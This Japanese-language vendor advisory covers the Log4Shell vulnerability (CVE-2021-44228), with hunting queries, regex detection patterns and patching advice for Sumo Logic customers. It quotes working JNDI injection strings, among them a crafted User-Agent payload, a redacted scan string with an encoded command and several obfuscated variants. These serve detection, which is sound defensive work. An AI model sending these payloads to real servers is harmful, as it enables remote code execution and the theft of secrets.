シチュエーションアウェアネス 概説
2021年12月10日
George Gerchow, CSO, Sumo Logic からの提言
私たちは、お客様にLog4jのバージョンを更新することを強くお勧めします。この脆弱性が新しいJVMで悪用されないという事実は十分ではありません。これは、インフラストラクチャーを取り除き、クラウドへのスピードアップの必要性を強調しているに過ぎません。
サマリー
2021年12月10日、National Vulnerability Database(NVD)は、Apache log4j library Java Naming and Directory Interface(JNDI)参照機能に、ログメッセージを操作できる攻撃者によるリモートコード実行を可能にする脆弱性を文書化したCVE-2021-44228を公開しました。2021年12月9日に概念実証が公開され、本概要の公開時点までにアクティブスキャンと悪用の試行が増加しています。
重要な注意事項 - この脆弱性は2021年12月9日以前から存在していました。本情報の開示およびCVE公開日以前に皆様の環境に対する悪用の可能性をご確認ください。
活動の概要
JNDI ルックアップ機能の脆弱性により、JNDI 経由で変数を取得·解決され、脆弱な log4j の実装がリモートリソースに接続し、悪意のあるコードを実行される可能性があります。
例:悪意のあるUser Agent Stringを含むHTTPリクエストのような細工されたイベントは、脆弱なlog4jライブラリによって新しいイベントログを作成し、悪意のあるイベント情報をJNDI変数で処理することにより、アプリケーションは必要な変数を取得するためにリソースへ移動します。
HTTP リクエストの例 ~細工された HTTP User Agent 文字列:
user_agent: ${jndi:ldap://127.0.0.1/a}
これはlog4jによって処理され、127.0.0.1からのリソース/aを要求することになる。
実際に目撃された怪しいスキャンの例:
user_agent: ${jndi:ldap://4X.XXX.XXX.XXX:1XXXX/Basic/Command/Base64/EncodedPayload}
エクスプロイト難読化の例:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://
${${lower:${lower:jndi}}:ld${lower:ap}://
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}${upper:p}://
${${date:'jndi:dns'}://
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
JNDI ルックアップ機能は、ldap、rmi、ldaps、dns など、複数のプロトコルに関連しています。以下の「ハンティングの機会」のセクションで、Sumo Logic SpecOpsは、前述のプロトコル以外に、URLや、この攻撃に関わる他の要素などからも文字列“jndi“を検索することを推奨します。
ハンティング(能動的な探索)の方法
Web、アプリケーション、ネットワークトラフィックを可視化することで、環境内のこのアクティビティを探索することができます。攻撃者が当該トラフィックの中でJNDI参照を置くことができる様々な場所を考えると。攻撃者がトラフィックに JNDI 参照を置くことができる様々な場所を考えると、この攻撃活動を探すには、よりオープンなアプローチを取ることをお勧めします。
以下のクエリは、この脆弱性を悪用するさまざまな形態を特定するために作成され、Sumo Logic Continuous Intelligence Platform向けに作成されています:最初はCloud SIEM Enterprise(CSE)利用者向けにフォーマットされ、2番目はContinuous Intelligence Platformを利用する幅広い利用者向けにフォーマットされています。(両者の間には、クエリを実行するビュー/インデックスを指定する以外、ほとんど違いはありません)。
Sumo Logic Cloud SIEM Enterpriseをご利用中のお客様へ:
Log4Shell Baseは、すべてのCSEレコードを検索し、エクスプロイトされた可能性があるものを探します。:
_index=sec_record_* ("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
この検索は、この脆弱性の核となる構成要素“jdni”の難読化を含む Log4Shell exploit に関連する ASCII 表現キーワードを利用するものです。正規表現のマッチングに成功すると、検索は「jndi_string」という新しいフィールドを構文解析または抽出します。
新たに作成された「jndi_string」フィールドは、エクスプロイト文字列から追加情報を解析することで、侵害の可能性や悪用の成功を示すアウトバウンドトラフィックを探索することが可能です。
Log4Shell - 悪用可能な URL、IP/FQDN、URI を解析:
_index=sec_record_* ("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
| parse regex field=jndi_string "//(?<jndi_url>[^\"]+)}" nodrop
| parse regex field=jndi_string "//(?<jndi_host>[^/]+?):?(?::(?<jndi_port>\d+))?(?<jndi_uri>(?:/[^/]+){1,})\}" nodrop
| count by jndi_string,jndi_url,jndi_host,jndi_port,jndi_uri
ベース検索を拡張し、以下のキーフィールドを解析·抽出します。:
- jndi_url – エクスプロイトが成功した場合に、エクスプロイトされたシステムが取得しようとするリソース。
- jndi_host - 参照されるリソースがホストされているIPアドレスまたは完全修飾ドメイン名(FQDN)
- jndi_port - リソースに関連付けられたポート(利用可能な場合)。
- jndi_uri - URL で識別されるリソース
これらの構文解析されたフィールドは、DNSトラフィック、URL、IPアドレス、ドメインへのアウトバウンドなど、ネットワーク接続の検索に使用することができます。これは、影響と必要な対応を決定するクローズドループにおいて重要な部分です。
Sumo Logic のお客様へ:
検索対象のログは様々であるため、SpecOpsでは、プラットフォームがキーワードを検索できるようなscoping statementの使用を強く推奨しています。
Log4Shellのベース検索スコープ(範囲):
("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
上記のCloud SIEM Enterpriseクエリと同様に、1行目でLog4Shellの脆弱性に関連するキーワードにスコープを絞り込んでいます。parse regex構成は、エクスプロイトの既知のバージョンにマッチし、さらなる処理のためにjndi_stringという新しいフィールドをパースしようとします。
新たに作成された「jndi_string」フィールドは、利用可能なエクスプロイト文字列から追加情報を解析することで、侵害の可能性や悪用の成功を示すアウトバウンドトラフィックを探索することが可能です。
エクスプロイトURL、IP/FQDN、URIのLog4Shellによる解析:
("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
| parse regex field=jndi_string "//(?<jndi_url>[^\"]+)}" nodrop
| parse regex field=jndi_string "//(?<jndi_host>[^/]+?):?(?::(?<jndi_port>\d+))?(?<jndi_uri>(?:/[^/]+){1,})\}" nodrop
| count by jndi_string,jndi_url,jndi_host,jndi_port,jndi_uri
ベース検索を拡張し、以下のキーフィールドを解析·抽出します。:
- jndi_url – エクスプロイトが成功した場合に、エクスプロイトされたシステムが取得しようとするリソース。
- jndi_host - 参照されるリソースがホストされているIPアドレスまたは完全修飾ドメイン名(FQDN)
- jndi_port - リソースに関連付けられたポート(利用可能な場合)。
- jndi_uri - URL で識別されるリソース
これらの構文解析されたフィールドは、URL、IPアドレス、ドメインへのDNSトラフィックを含むネットワーク接続の検索に使用することができます。これは、影響と必要な対応を決定するクローズドループにおいて重要な部分です。
高度なハンティング:
Sumo Logic SpecOpsは、攻撃者がJava変数を利用してJNDI参照を難読化し、URLペイロードのシステム情報を流出させようとするのを観測しています。以下の検索は、エクスプロイトしようとするJava変数の可能性を分析する目的で、jndi_stringから複数のフィールドを構文解析するために正規表現を利用します。
Java変数の構文解析*:
_index=sec_record_* ("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
| parse regex field=jndi_string "(?<java_variable>\$\{[^\}]+\})" multi nodrop
| parse regex field=jndi_string "//(?<jndi_url>[^\"]+)}" nodrop
| parse regex field=jndi_string "//(?<jndi_host>[^/]+?):?(?::(?<jndi_port>\d+))?(?<jndi_uri>(?:/[^/]+){1,})\}" nodrop
| values(java_variable) as java_variables, count by jndi_string,jndi_url
この検索は、前述の難読化の例を含む${::-j}のように、${...}というパターンにマッチするほとんどの変数を構文解析します。重要な観察として、values()演算子は解析された出力を並べ替えません。
Java URL 変数の構文解析*:
_index=sec_record_* ("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")
| parse regex "(?<jndi_string>\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop
| parse regex field=jndi_string "(?<java_variable>\$\{[^\}]+\})" multi nodrop
| parse regex field=jndi_string "//(?<jndi_url>[^\"]+)}" nodrop
| parse regex field=jndi_string "//(?<jndi_host>[^/]+?):?(?::(?<jndi_port>\d+))?(?<jndi_uri>(?:/[^/]+){1,})\}" nodrop
| parse regex field=jndi_url "(?<java_url_variable>\$\{[^\}]+\})" multi nodrop
| values(java_url_variable) as java_variables, count by jndi_string,jndi_url
この検索では、前述の“Java変数構文解析“と同じ複数のフィールドの解析を利用して、特にjndi_urlフィールドに解析を適用し、被害者情報の流出の可能性に使われるJava変数を抽出します。
SpecOpsは、Javaバージョン、ホスト、ホスト名、ユーザー、user.nameから、環境変数、データベース名、データベースパスワード、AWSの機密情報などのより機密性の高い情報まで、さまざまな変数を観測しています。
*Sumo Logicのお客様は、お客様の環境で使用するために、検索の「_index=sec_record_*」の部分を削除することができます。
これらのクエリーの重要な注意点として、解析されたフィールドのすべてに情報が含まれるとは限らないということがあります。
Cloud SIEM Enterprise (CSE) による検出
2021年12月10日(金)、Sumo Logic CSEのお客様向けに、ルールMATCH-S00209 CVE-2021-44228 Log4j2 Java Library 0-Day Attemptが展開され、プロトタイプに設定されました。このルールはエクスプロイトの試行を探すもので、攻撃の成功を示すものではありません。
推奨事項: 今すぐパッチ適用を。
Sumo Logic SpecOpsでは、log4jライブラリに依存しているアプリケーションを特定し、こちらに掲載されている適切なパッチを直ちに適用することを推奨しています。また、ベンダーの影響を受ける製品は、構成要素側に修正を依頼する必要があり、すぐに利用できない可能性があることを念頭に置いてください。影響を受ける製品の一覧は、こちらでご覧いただけます。
広範な可視化が重要です。そのため、SpecOpsでは、この脆弱性を悪用しようとする試みを特定するために、ウェブログ、アプリケーションサーバーログ、ネットワークセンサーログなど、さまざまなログソースを収集することを推奨しています。広く採用されているソフトウェアで脆弱性が表面化し続ける中、環境のあらゆる側面で適切な可視性を確保することが最重要課題となっています。
References
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/NCSC-NL/log4shell/tree/main/software
- https://isc.sans.edu/diary/rss/28120
- https://logging.apache.org/log4j/2.x/security.html
- https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8
- https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/
- https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
Complete visibility for DevSecOps
Reduce downtime and move from reactive to proactive monitoring.